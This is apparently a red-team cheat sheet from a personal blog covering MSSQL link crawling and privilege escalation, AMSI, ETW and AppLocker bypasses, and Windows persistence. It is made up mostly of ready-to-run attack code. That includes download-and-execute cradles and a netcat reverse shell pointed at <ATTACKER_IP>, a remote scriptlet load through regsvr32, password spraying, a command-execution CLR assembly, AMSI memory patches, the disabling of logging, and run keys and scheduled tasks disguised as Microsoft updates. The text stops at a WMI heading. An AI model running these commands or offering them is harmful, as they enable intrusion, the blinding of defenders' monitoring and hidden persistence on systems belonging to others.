Skip to main content
Background Image

Red Team Notes (MSSQL Server Exploitation, Trust Abuse, Defense Evasion, Bypass Techniques, Persistence)

3474 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

MSSQL Server Exploitation & Trust Abuse
#

Initial Discovery and Enumeration
#

Load PowerUpSQL
#

# From disk
Import-Module .\PowerUpSQL.psd1

# In-memory load
IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>/PowerUpSQL.ps1')

# Verify loaded
Get-Command -Module PowerUpSQL

# Alternative: Use without importing (dot-source specific functions)
. .\PowerUpSQL.ps1

Discover SQL Instances
#

# Discover SQL instances in current domain via SPNs
Get-SQLInstanceDomain | Format-Table -AutoSize

# Discover in specific domain
Get-SQLInstanceDomain -DomainController <DC_FQDN> -Domain <DOMAIN> | Format-Table

# Discover via UDP broadcast (noisy, but finds non-SPN instances)
Get-SQLInstanceBroadcast

# Discover via SPN enumeration (stealthy)
Get-SQLInstanceScanUDP -ComputerName <TARGET_IP_RANGE>

# Find SQL instances you have access to
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-Object {$_.Status -eq "Accessible"}

# Filter by specific SQL Server version
Get-SQLInstanceDomain | Get-SQLServerInfo | Where-Object {$_.SQLServerVersionNumber -like "15.*"}  # SQL Server 2019

Test Connectivity and Gather Server Info
#

# Test connection to specific instance
Get-SQLConnectionTest -Instance <SQL_SERVER_FQDN>

# Test multiple instances (threaded for speed)
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

# Gather detailed server information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Check current privileges
Get-SQLServerInfo -Instance <SQL_SERVER_FQDN> | Select-Object Instance, CurrentLogin, IsSysadmin

# Enumerate databases
Get-SQLDatabase -Instance <SQL_SERVER_FQDN>

# Find interesting databases (non-default)
Get-SQLDatabase -Instance <SQL_SERVER_FQDN> | Where-Object {$_.DatabaseName -notin @('master','tempdb','model','msdb')}

# Check for common weak configurations
Invoke-SQLAudit -Instance <SQL_SERVER_FQDN> -Verbose

# Find databases with weak permissions
Get-SQLDatabase -Instance <SQL_SERVER_FQDN> | Get-SQLDatabasePriv

Enumerate Database Links#

# Enumerate linked servers
Get-SQLServerLink -Instance <SQL_SERVER_FQDN> -Verbose

# Show link details (including RPC Out status)
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT * FROM master..sysservers WHERE srvid > 0"

# Check if RPC Out is enabled (required for remote command execution)
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT name, is_rpc_out_enabled FROM sys.servers"

# Enumerate links recursively (follow the chain)
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Verbose

# Map complete link topology
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> | 
    Select-Object Instance, Version, Sysadmin, @{Name="Links";Expression={$_.DatabaseLinkName}}

# Alternative: Manual enumeration
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query @"
SELECT 
    srv.name AS LinkedServer,
    srv.product,
    srv.provider,
    srv.data_source,
    srv.is_rpc_out_enabled,
    login.remote_name AS RemoteLogin
FROM sys.servers srv
LEFT JOIN sys.linked_logins login ON srv.server_id = login.server_id
WHERE srv.is_linked = 1
"@

Enumerate Users and Roles
#

# List all logins
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S','U','G')"

# Find sysadmin users
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT name FROM sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1"

# Check impersonation possibilities
Invoke-SQLAuditPrivImpersonateLogin -Instance <SQL_SERVER_FQDN> -Verbose

# Enumerate database users
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "USE <DATABASE>; SELECT name, type_desc FROM sys.database_principals WHERE type IN ('S','U','G')"

Credential Attacks
#

SQL Authentication Brute Force
#

# Test common credentials
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password 'Password123'

# Password spray against SQL instances
Invoke-SQLAuditWeakLoginPw -Instance <SQL_SERVER_FQDN> -Verbose

# With custom username/password lists
$users = Get-Content users.txt
$passwords = Get-Content passwords.txt
Get-SQLInstanceDomain | ForEach-Object {
    foreach ($pass in $passwords) {
        Get-SQLConnectionTest -Instance $_.Instance -Username "sa" -Password $pass
    }
}

# NetExec/CrackMapExec for MSSQL
nxc mssql <TARGET> -u <USER> -p '<PASSWORD>' --local-auth
nxc mssql <TARGET_RANGE> -u users.txt -p passwords.txt --continue-on-success

# Impacket mssqlclient
impacket-mssqlclient <DOMAIN>/<USER>:<PASSWORD>@<SQL_SERVER>
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQL_SERVER>

Capture SQL Credentials
#

# Find SQL connection strings in config files
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "EXEC xp_cmdshell 'findstr /si password *.xml *.ini *.txt *.config'"

# Search web.config files
findstr /si /n "connectionString" C:\inetpub\wwwroot\web.config

# PowerShell search
Get-ChildItem -Path C:\ -Include *.config,*.xml,*.ini -Recurse -ErrorAction SilentlyContinue | 
    Select-String -Pattern "password|pwd|connectionString" | 
    Select-Object Path, LineNumber, Line

Link Crawling and Remote Execution#

Abuse trusted SQL Server links to pivot through network and execute commands on remote systems.

Test Linked Server Connectivity
#

-- Check link version
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT @@version');

-- Check current user on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT SYSTEM_USER');

-- Check if sysadmin on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

-- List databases on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT name FROM sys.databases');

Enable xp_cmdshell on Linked Server
#

Requirements: RPC Out enabled on link, sysadmin on remote server

-- Enable xp_cmdshell on linked server
EXECUTE('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINKED_SERVER_NAME>];
EXECUTE('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINKED_SERVER_NAME>];

-- Verify it's enabled
EXECUTE('SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''') AT [<LINKED_SERVER_NAME>];

-- PowerUpSQL method (automated)
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE"

Execute OS Commands via Linked Server
#

-- Basic command execution
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'EXEC master..xp_cmdshell ''whoami''');

-- Get hostname
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'EXEC master..xp_cmdshell ''hostname''');

-- Network enumeration
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'EXEC master..xp_cmdshell ''ipconfig /all''');

-- Download and execute payload
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 
'EXEC master..xp_cmdshell ''powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_IP>/payload.ps1'')"''');

-- Alternative: certutil download
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 
'EXEC master..xp_cmdshell ''certutil -urlcache -f http://<ATTACKER_IP>/nc.exe C:\Windows\Temp\nc.exe''');

-- Execute downloaded payload
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 
'EXEC master..xp_cmdshell ''C:\Windows\Temp\nc.exe <ATTACKER_IP> 443 -e cmd.exe''');

Deep Link Crawling (Multi Hop)#

-- Two-hop link crawling
SELECT * FROM OPENQUERY([<FIRST_LINK>], 
'SELECT * FROM OPENQUERY([<SECOND_LINK>], ''SELECT @@version'')');

-- Three-hop example
SELECT * FROM OPENQUERY([<LINK1>], 
'SELECT * FROM OPENQUERY([<LINK2>], 
''SELECT * FROM OPENQUERY([<LINK3>], ''''SELECT @@version'''')'')');

-- Enable xp_cmdshell on second-hop server
EXECUTE('EXECUTE(''sp_configure ''''show advanced options'''', 1; RECONFIGURE;'') AT [<SECOND_LINK>]') AT [<FIRST_LINK>];
EXECUTE('EXECUTE(''sp_configure ''''xp_cmdshell'''', 1; RECONFIGURE;'') AT [<SECOND_LINK>]') AT [<FIRST_LINK>];

-- Execute command on second-hop server
SELECT * FROM OPENQUERY([<LINK1>], 
'SELECT * FROM OPENQUERY([<LINK2>], 
''EXEC master..xp_cmdshell ''''whoami'''''')');

-- PowerUpSQL automated crawling
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC master..xp_cmdshell 'whoami'" -Verbose

PowerUpSQL Automated Link Abuse#

# Crawl all links and execute command
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC master..xp_cmdshell 'whoami'" -Verbose

# Enable xp_cmdshell on all linked servers
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "sp_configure 'xp_cmdshell',1; RECONFIGURE" -Verbose

# Execute PowerShell payload via links
$payload = "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC master..xp_cmdshell 'powershell -enc <BASE64_PAYLOAD>'" -Verbose

# Export link topology
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> | Export-Csv -Path sql_links.csv -NoTypeInformation

Advanced MSSQL Privilege Escalation
#

Impersonation (EXECUTE AS)
#

Execute queries as higher-privileged users if IMPERSONATE permission granted.

-- Check current user and privileges
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');

-- Enumerate users you can impersonate
SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';

-- Check impersonation permissions
SELECT 
    pe.permission_name,
    pe.state_desc,
    pr.name AS grantee,
    pr2.name AS grantor
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_id
LEFT JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_id
WHERE pe.permission_name = 'IMPERSONATE';

-- Impersonate sa or sysadmin user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');

-- Enable xp_cmdshell as impersonated user
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- Revert to original context
REVERT;

-- PowerUpSQL automated impersonation check
Invoke-SQLAuditPrivImpersonateLogin -Instance <SQL_SERVER_FQDN> -Verbose

-- Database-level impersonation
USE <DATABASE>;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME(), IS_MEMBER('db_owner');
REVERT;

Trustworthy Database Privilege Escalation
#

Databases with TRUSTWORTHY property can escalate to sysadmin via stored procedures.

-- Find trustworthy databases
SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1 AND name != 'msdb';

-- Check if you're db_owner on trustworthy database
USE <TRUSTWORTHY_DB>;
SELECT IS_MEMBER('db_owner');

-- Create stored procedure to add sysadmin
CREATE PROCEDURE sp_elevate
WITH EXECUTE AS OWNER
AS
BEGIN
    EXEC sp_addsrvrolemember '<YOUR_USER>', 'sysadmin';
END;
GO

-- Execute procedure
EXEC sp_elevate;

-- Verify sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- PowerUpSQL automated check
Invoke-SQLAuditPrivTrustworthy -Instance <SQL_SERVER_FQDN> -Verbose

Server Configuration Privilege Escalation
#

-- Check for ALTER SETTINGS permission (can enable xp_cmdshell)
SELECT 
    pe.permission_name,
    pr.name
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_id
WHERE pe.permission_name = 'ALTER SETTINGS';

-- If you have ALTER SETTINGS, enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

CLR Assembly Execution
#

Load custom .NET assemblies into SQL Server for arbitrary code execution. Requires sysadmin or specific CLR permissions.

Enable CLR Integration
#

-- Check if CLR is enabled
SELECT * FROM sys.configurations WHERE name = 'clr enabled';

-- Enable CLR
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
EXEC sp_configure 'clr strict security', 0; RECONFIGURE;  -- SQL Server 2017+

-- Verify
SELECT name, value_in_use FROM sys.configurations WHERE name IN ('clr enabled', 'clr strict security');

Create and Load CLR Assembly
#

-- Drop existing assembly if present (cleanup)
DROP PROCEDURE IF EXISTS dbo.cmdExec;
DROP ASSEMBLY IF EXISTS clr_assembly;
GO

-- Create assembly from hex-encoded DLL
-- (DLL must be compiled with appropriate methods)
CREATE ASSEMBLY clr_assembly
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000...
WITH PERMISSION_SET = UNSAFE;
GO

-- Link assembly to stored procedure
CREATE PROCEDURE dbo.cmdExec
    @cmd NVARCHAR(4000)
AS EXTERNAL NAME clr_assembly.StoredProcedures.cmdExec;
GO

-- Execute OS command
EXEC dbo.cmdExec 'whoami';
EXEC dbo.cmdExec 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_IP>/shell.ps1'')"';

-- Cleanup
DROP PROCEDURE dbo.cmdExec;
DROP ASSEMBLY clr_assembly;
EXEC sp_configure 'clr enabled', 0; RECONFIGURE;

PowerUpSQL CLR Method
#

# Create malicious CLR assembly (automated)
Invoke-SQLOSCmd -Instance <SQL_SERVER_FQDN> -Command "whoami" -Verbose

# Alternative: Install custom CLR
Install-SQLOSCLI -Instance <SQL_SERVER_FQDN> -Verbose
Invoke-SQLOSCLI -Instance <SQL_SERVER_FQDN> -Command "whoami"

Example C# CLR Assembly Source
#

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};
# Compile CLR DLL (on Windows with .NET SDK)
csc /target:library /out:clr_assembly.dll clr_assembly.cs

# Convert to hex for SQL insertion
certutil -encodehex clr_assembly.dll clr_assembly.hex 0x

# Or use PowerShell
$bytes = [System.IO.File]::ReadAllBytes("clr_assembly.dll")
$hex = "0x" + [System.BitConverter]::ToString($bytes).Replace("-","")

Alternative Command Execution Methods
#

OLE Automation Procedures
#

-- Enable OLE Automation
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

-- Execute command via WScript.Shell
DECLARE @output INT;
DECLARE @result INT;
EXEC @result = sp_OACreate 'WScript.Shell', @output OUT;
EXEC @result = sp_OAMethod @output, 'Run', NULL, 'cmd /c whoami > C:\temp\output.txt', 0, TRUE;
EXEC @result = sp_OADestroy @output;

-- Read output
DECLARE @file INT;
DECLARE @text VARCHAR(8000);
EXEC sp_OACreate 'Scripting.FileSystemObject', @file OUT;
EXEC sp_OAMethod @file, 'OpenTextFile', @text OUT, 'C:\temp\output.txt', 1;
EXEC sp_OAMethod @text, 'ReadAll', @output OUT;
SELECT @output;

Agent Jobs (Requires SQLAgentUserRole)
#

-- Check if SQL Server Agent is running
EXEC master.dbo.xp_servicecontrol 'QueryState', 'SQLServerAGENT';

-- Create malicious job
USE msdb;
EXEC sp_add_job @job_name = 'SystemMaintenance';

-- Add job step with OS command
EXEC sp_add_jobstep 
    @job_name = 'SystemMaintenance',
    @step_name = 'ExecuteCommand',
    @subsystem = 'CmdExec',
    @command = 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_IP>/shell.ps1'')"';

-- Assign job to server
EXEC sp_add_jobserver @job_name = 'SystemMaintenance';

-- Execute job
EXEC sp_start_job @job_name = 'SystemMaintenance';

-- Check job status
EXEC sp_help_jobhistory @job_name = 'SystemMaintenance';

-- Cleanup
EXEC sp_delete_job @job_name = 'SystemMaintenance';

External Scripts (SQL Server 2016+ with R/Python)
#

-- Check if external scripts enabled
SELECT * FROM sys.configurations WHERE name = 'external scripts enabled';

-- Enable external scripts
EXEC sp_configure 'external scripts enabled', 1; RECONFIGURE;

-- Execute Python command
EXEC sp_execute_external_script
    @language = N'Python',
    @script = N'import os; os.system("whoami")';

-- Execute R command
EXEC sp_execute_external_script
    @language = N'R',
    @script = N'system("whoami")';

Defense Evasion & Bypass Techniques
#

AMSI (Anti-Malware Scan Interface) Bypass
#

AMSI scans PowerShell, VBScript, JScript, and .NET assembly loads. Bypassing AMSI allows execution of malicious scripts without detection.

Classic AMSI Bypass (Often Detected)
#

# Matt Graeber's original (widely signatured)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Obfuscated version
[Ref].Assembly.GetType('System.Management.Automation.'+('Am' +'siUtils')).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

Modern AMSI Bypass Techniques
#

# Memory patching method (less detected)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

# Reflection-based bypass
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $ZQCUW

$LoadLibrary = [ZQCUW]::LoadLibrary("amsi.dll")
$Address = [ZQCUW]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[ZQCUW]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

# Alternative: Force AMSI to fail initialization
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# Downgrade PowerShell version (bypasses AMSI)
powershell.exe -version 2

AMSI Bypass via COM Object
#

# Register malicious COM object
$TypeDefinition = @"
using System;
using System.Runtime.InteropServices;

[ComVisible(true)]
[Guid("00000000-0000-0000-0000-000000000001")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IAmsiBypass {}

[ComVisible(true)]
[Guid("00000000-0000-0000-0000-000000000002")]
[ClassInterface(ClassInterfaceType.None)]
public class AmsiBypass : IAmsiBypass {}
"@

Add-Type -TypeDefinition $TypeDefinition

ETW (Event Tracing for Windows) Bypass
#

ETW logs PowerShell script block logging, module loading, and command execution. Disabling ETW prevents telemetry collection.

Disable ETW Logging
#

# Disable PowerShell ETW provider
[System.Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

# Shorter obfuscated version
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static');
$val = $settings.GetValue($null);
$val['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0;
$val['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0;

# Patch ETW event write function
$eventProviderWrite = [System.Diagnostics.Tracing.EventProvider].GetMethod('EventWriteTransfer', [System.Reflection.BindingFlags]'NonPublic,Instance')
$eventProviderWrite.Invoke($null, @())

# Memory patching approach
$Kern32 = @"
using System;
using System.Runtime.InteropServices;
public class Kern32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kern32
$ntdll = [Kern32]::LoadLibrary("ntdll.dll")
$etwAddr = [Kern32]::GetProcAddress($ntdll, "EtwEventWrite")
$oldProtect = 0
[Kern32]::VirtualProtect($etwAddr, [uint32]5, 0x40, [ref]$oldProtect)
$patch = [byte[]](0xc3) # ret instruction
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $etwAddr, 1)

Disable Script Block Logging
#

# Disable via Group Policy settings cache
$GroupPolicySettings = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0

# Alternative method
$settings = [System.Management.Automation.Utils].GetField('cachedGroupPolicySettings','NonPublic,Static')
if($settings) {
    $val = $settings.GetValue($null)
    $val['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
    $val['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
}

# Verify script block logging is disabled
$ExecutionContext.SessionState.LanguageMode

Disable Module Logging
#

# Disable PowerShell module logging
$GroupPolicySettings['ModuleLogging']['EnableModuleLogging'] = 0
$GroupPolicySettings['ModuleLogging']['ModuleNames'] = @()

Constrained Language Mode Bypass
#

Constrained Language Mode restricts PowerShell functionality. Bypassing allows full language features.

# Check current language mode
$ExecutionContext.SessionState.LanguageMode

# Bypass via PowerShell downgrade (if v2 available)
powershell.exe -version 2 -command "Write-Host 'Bypassed'"

# Bypass via PSBypassCLM
# https://github.com/padovah4ck/PSBypassCLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PSBypassCLM.exe

# Bypass using COM objects
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))
$handle.GetType().GetMethod("Run").Invoke($handle, @("powershell -nop -c <COMMAND>"))

# Bypass via runspace
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"

AppLocker Bypass
#

AppLocker restricts executable files, scripts, and DLLs. Various bypass techniques exist.

Discovery
#

# Check if AppLocker is enabled
Get-AppLockerPolicy -Effective

# Export policy for analysis
Get-AppLockerPolicy -Effective -Xml | Out-File C:\temp\applocker.xml

# Check writable paths
$paths = @("C:\Windows\System32\spool\drivers\color",
           "C:\Windows\Tasks",
           "C:\Windows\Temp",
           "C:\Windows\tracing",
           "C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys",
           "C:\Windows\System32\spool\PRINTERS")

foreach($path in $paths) {
    if(Test-Path $path) {
        $acl = Get-Acl $path
        Write-Host "$path - $($acl.AccessToString)"
    }
}

Bypass Techniques
#

# Execute from trusted locations (often whitelisted)
# Common trusted paths:
# - C:\Windows\System32\
# - C:\Program Files\*
# - C:\Windows\System32\spool\drivers\color\

# Copy payload to trusted writable location
copy payload.exe C:\Windows\System32\spool\drivers\color\payload.exe
C:\Windows\System32\spool\drivers\color\payload.exe

# Use alternate data streams (ADS)
type payload.exe > C:\Windows\Tasks\legit.txt:payload.exe
wmic process call create "C:\Windows\Tasks\legit.txt:payload.exe"

# Use trusted binaries (LOLBins)
# RegSvr32
regsvr32 /s /n /u /i:http://<ATTACKER_IP>/payload.sct scrobj.dll

# MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

# InstallUtil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

# RegAsm
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U payload.dll

# CMSTP
cmstp.exe /ni /s payload.inf

# Execute via script host in trusted location
wscript.exe C:\Windows\System32\payload.vbs
cscript.exe C:\Windows\System32\payload.js

Persistence Techniques
#

Registry Run Keys
#

Execute payload at user logon via registry keys.

# Current user persistence (HKCU)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveSync" -Value "C:\Users\Public\payload.exe" -Force

# Alternative registry locations (HKCU)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "Update" -Value "C:\temp\payload.exe"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\temp\payload.exe"

# System-wide persistence (HKLM - requires admin)
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsDefender" -Value "C:\Windows\Temp\payload.exe" -Force
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "SystemUpdate" -Value "C:\temp\payload.exe"

# Service-based run key (HKLM)
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices" -Name "ServiceHost" -Value "C:\Windows\System32\payload.exe"

# Alternative startup locations
# HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
# HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon (Userinit, Shell)
# HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

# Verify persistence
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

# Remove persistence (cleanup)
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveSync"

Scheduled Tasks
#

Create scheduled task to execute payload at specific trigger.

:: Create task for current user (runs at logon)
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Public\payload.exe" /sc onlogon /rl highest /f

:: System-level task (runs at system startup, requires admin)
schtasks /create /tn "WindowsUpdateCheck" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /rl highest /f

:: Daily task at specific time
schtasks /create /tn "SystemMaintenance" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\payload.ps1" /sc daily /st 14:00 /ru SYSTEM /f

:: Task on user idle
schtasks /create /tn "BackgroundSync" /tr "C:\temp\payload.exe" /sc onidle /i 10 /rl highest /f

:: Task with multiple triggers
schtasks /create /tn "CloudSync" /tr "C:\temp\payload.exe" /sc onlogon /rl highest /f
schtasks /create /tn "CloudSync" /tr "C:\temp\payload.exe" /sc daily /st 09:00 /f

:: Hidden task (doesn't appear in Task Scheduler GUI easily)
schtasks /create /tn "\Microsoft\Windows\UpdateOrchestrator\SystemUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /rl highest /f

:: Query task
schtasks /query /tn "MicrosoftEdgeUpdate" /v /fo list

:: Delete task (cleanup)
schtasks /delete /tn "MicrosoftEdgeUpdate" /f

PowerShell Scheduled Tasks
#

# Create action
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\payload.ps1"

# Create trigger (at logon)
$trigger = New-ScheduledTaskTrigger -AtLogOn

# Alternative triggers
$trigger = New-ScheduledTaskTrigger -AtStartup
$trigger = New-ScheduledTaskTrigger -Daily -At "3:00AM"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30)

# Create principal (run as SYSTEM)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

# Register task
Register-ScheduledTask -TaskName "WindowsDefenderUpdate" -Action $action -Trigger $trigger -Principal $principal -Description "Windows Defender signature update task"

# Hide task from GUI (modify XML)
$task = Get-ScheduledTask -TaskName "WindowsDefenderUpdate"
$task.Settings.Hidden = $true
$task | Set-ScheduledTask

# Verify task
Get-ScheduledTask -TaskName "WindowsDefenderUpdate" | Get-ScheduledTaskInfo

# Remove task
Unregister-ScheduledTask -TaskName "WindowsDefenderUpdate" -Confirm:$false

WMI Event Subscription
#

Use WMI event consumers to execute payloads based on system events. Stealthier than scheduled tasks.

# Create event filter (trigger condition)
